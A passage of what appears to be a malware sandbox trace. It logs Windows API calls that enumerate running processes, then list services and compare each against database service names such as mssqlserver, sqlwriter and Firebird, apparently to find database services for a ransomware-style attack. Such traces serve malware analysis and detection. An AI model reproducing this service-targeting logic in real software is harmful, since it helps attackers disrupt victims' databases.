(lpString="lsm.exe") returned 7 [0031.282] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.282] lstrlenW (lpString="svchost.exe") returned 11 [0031.282] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.283] lstrlenW (lpString="svchost.exe") returned 11 [0031.283] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.283] lstrlenW (lpString="svchost.exe") returned 11 [0031.284] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.284] lstrlenW (lpString="svchost.exe") returned 11 [0031.284] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.285] lstrlenW (lpString="svchost.exe") returned 11 [0031.285] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0031.285] lstrlenW (lpString="audiodg.exe") returned 11 [0031.285] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.286] lstrlenW (lpString="svchost.exe") returned 11 [0031.286] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.286] lstrlenW (lpString="svchost.exe") returned 11 [0031.286] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0031.287] lstrlenW (lpString="dwm.exe") returned 7 [0031.287] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0031.287] lstrlenW (lpString="explorer.exe") returned 12 [0031.287] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0031.288] lstrlenW (lpString="spoolsv.exe") returned 11 [0031.288] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.288] lstrlenW (lpString="taskhost.exe") returned 12 [0031.289] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.289] lstrlenW (lpString="svchost.exe") returned 11 [0031.289] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0031.290] lstrlenW (lpString="taskeng.exe") returned 11 [0031.290] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.290] lstrlenW (lpString="taskhost.exe") returned 12 [0031.290] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0031.291] lstrlenW (lpString="obligations-breath.exe") returned 22 [0031.291] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0031.291] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0031.291] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0031.292] lstrlenW (lpString="achieving.exe") returned 13 [0031.292] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0031.292] lstrlenW (lpString="venice.exe") returned 10 [0031.292] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0031.293] lstrlenW (lpString="owns.exe") returned 8 [0031.293] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0031.294] lstrlenW (lpString="faster momentum.exe") returned 19 [0031.294] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0031.294] lstrlenW (lpString="vital_reasons.exe") returned 17 [0031.294] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0031.295] lstrlenW (lpString="everyone.exe") returned 12 [0031.295] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0031.295] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0031.295] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0031.296] lstrlenW (lpString="bored_excluded.exe") returned 18 [0031.296] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0031.296] lstrlenW (lpString="mothers.exe") returned 11 [0031.296] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0031.297] lstrlenW (lpString="career-fed.exe") returned 14 [0031.297] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0031.297] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0031.297] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0031.298] lstrlenW (lpString="initial_utilization.exe") returned 23 [0031.298] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0031.298] lstrlenW (lpString="cf-represent.exe") returned 16 [0031.298] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0031.299] lstrlenW (lpString="tue.exe") returned 7 [0031.299] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0031.300] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0031.300] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0031.300] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0031.300] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0031.301] lstrlenW (lpString="stuff_event.exe") returned 15 [0031.301] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0031.301] lstrlenW (lpString="keywords-copies.exe") returned 19 [0031.301] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0031.302] lstrlenW (lpString="lap.exe") returned 7 [0031.302] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0031.303] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0031.303] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.303] lstrlenW (lpString="dllhost.exe") returned 11 [0031.303] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0031.304] lstrlenW (lpString="dllhost.exe") returned 11 [0031.304] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0031.305] lstrlenW (lpString="chrome64b.exe") returned 13 [0031.305] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0031.306] lstrlenW (lpString="cmd.exe") returned 7 [0031.306] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0031.306] CloseHandle (hObject=0x118) returned 1 [0031.306] Sleep (dwMilliseconds=0x1f4) [0032.391] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x625be8 [0032.391] EnumServicesStatusExW (in: hSCManager=0x625be8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0032.392] GetLastError () returned 0xea [0032.392] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x11e4) returned 0x66f7d0 [0032.392] EnumServicesStatusExW (in: hSCManager=0x625be8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x66f7d0, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x66f7d0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0032.392] CloseServiceHandle (hSCObject=0x625be8) returned 1 [0032.392] lstrlenW (lpString="Appinfo") returned 7 [0032.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0032.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0032.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0032.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0032.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0032.393] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0032.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0032.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0032.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0032.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0032.393] lstrlenW (lpString="AudioSrv") returned 8 [0032.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0032.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0032.393] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0032.393] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0032.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0032.393] lstrlenW (lpString="BFE") returned 3 [0032.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0032.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0032.393] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0032.393] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0032.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0032.393] lstrlenW (lpString="CryptSvc") returned 8 [0032.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0032.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0032.393] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0032.393] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0032.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0032.393] lstrlenW (lpString="CscService") returned 10 [0032.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0032.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0032.394] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0032.394] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0032.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0032.394] lstrlenW (lpString="DcomLaunch") returned 10 [0032.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0032.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0032.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0032.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0032.394] lstrlenW (lpString="Dhcp") returned 4 [0032.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0032.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0032.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0032.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0032.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0032.394] lstrlenW (lpString="Dnscache") returned 8 [0032.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0032.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0032.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0032.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0032.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0032.394] lstrlenW (lpString="DPS") returned 3 [0032.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0032.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0032.394] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0032.394] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0032.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0032.394] lstrlenW (lpString="eventlog") returned 8 [0032.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0032.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0032.395] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0032.395] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0032.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0032.395] lstrlenW (lpString="EventSystem") returned 11 [0032.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0032.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0032.395] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0032.395] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0032.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0032.395] lstrlenW (lpString="gpsvc") returned 5 [0032.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0032.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0032.395] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0032.395] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0032.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0032.395] lstrlenW (lpString="iphlpsvc") returned 8 [0032.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0032.395] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0032.395] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0032.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0032.395] lstrlenW (lpString="LanmanServer") returned 12 [0032.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0032.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0032.395] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0032.395] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0032.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0032.396] lstrlenW (lpString="LanmanWorkstation") returned 17 [0032.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0032.396] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0032.396] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0032.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0032.396] lstrlenW (lpString="lmhosts") returned 7 [0032.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0032.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0032.396] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0032.396] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0032.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0032.396] lstrlenW (lpString="MMCSS") returned 5 [0032.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0032.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0032.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0032.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0032.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0032.396] lstrlenW (lpString="MpsSvc") returned 6 [0032.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0032.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0032.396] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0032.396] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0032.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0032.396] lstrlenW (lpString="Netman") returned 6 [0032.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0032.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0032.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0032.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0032.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0032.397] lstrlenW (lpString="netprofm") returned 8 [0032.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0032.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0032.397] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0032.397] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0032.397] lstrcmpiW (lpString1="sqlserveradhelper", 